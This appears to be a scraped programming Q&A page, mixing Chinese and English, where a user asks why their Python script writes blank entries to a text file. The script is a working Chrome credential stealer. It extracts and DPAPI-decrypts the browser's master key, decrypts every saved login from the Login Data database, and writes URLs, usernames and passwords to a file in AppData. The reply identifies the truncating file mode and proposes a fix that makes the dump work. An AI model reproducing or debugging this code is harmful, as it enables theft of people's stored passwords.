【问题标题】:Can't write datas to the txt file in python无法将数据写入python中的txt文件
【发布时间】:2022-01-18 13:13:06
【问题描述】:

我可以显示数据,但我不能将它们写入 txt 文件。我没有收到任何错误。 函数 print() 运行良好,但函数 file.write() 运行错误。检查我的代码:

def get_master_key():
    with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    master_key = master_key[5:]  # removing DPAPI
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key


def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)


def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)


def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
        return decrypted_pass
    except Exception as e:
        # print("Probably saved password from Chrome version older than v80\n")
        # print(str(e))
        return "Chrome < 80"



if __name__ == '__main__':

    master_key = get_master_key()
    login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
    shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
    conn = sqlite3.connect("Loginvault.db")
    cursor = conn.cursor()

    try:
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")
        for r in cursor.fetchall():
            url = r[0]
            username = r[1]
            encrypted_password = r[2]
            decrypted_password = decrypt_password(encrypted_password, master_key)
            file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") 
            file.write("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
            file.close()
            print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")

    except Exception as e:
        pass

    cursor.close()
    conn.close()
    try:

        os.remove("Loginvault.db")
    except Exception as e:
        pass

在 alldata.txt 我只得到这个没有数据:

URL: 
User Name: 
Password: 
**************************************************

请帮帮我。请我需要你的帮助的人。请立即需要您的帮助的人

【问题讨论】:

  • 你的 r 数组中有什么?这不是您期望的数据吗?
  • 是的,它有数据,当我打印它时,它可以工作,但是当我尝试将数据写入 txt 文件时,我什么也得不到。没有数据

标签: python sql database sqlite google-chrome


【解决方案1】:

以“w+”模式打开文件首先会截断文件。也许你的意思是“a+”?或者,在程序完成写入之前不要关闭文件。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-03-13
    • 2015-06-12
    • 1970-01-01
    相关资源
    最近更新 更多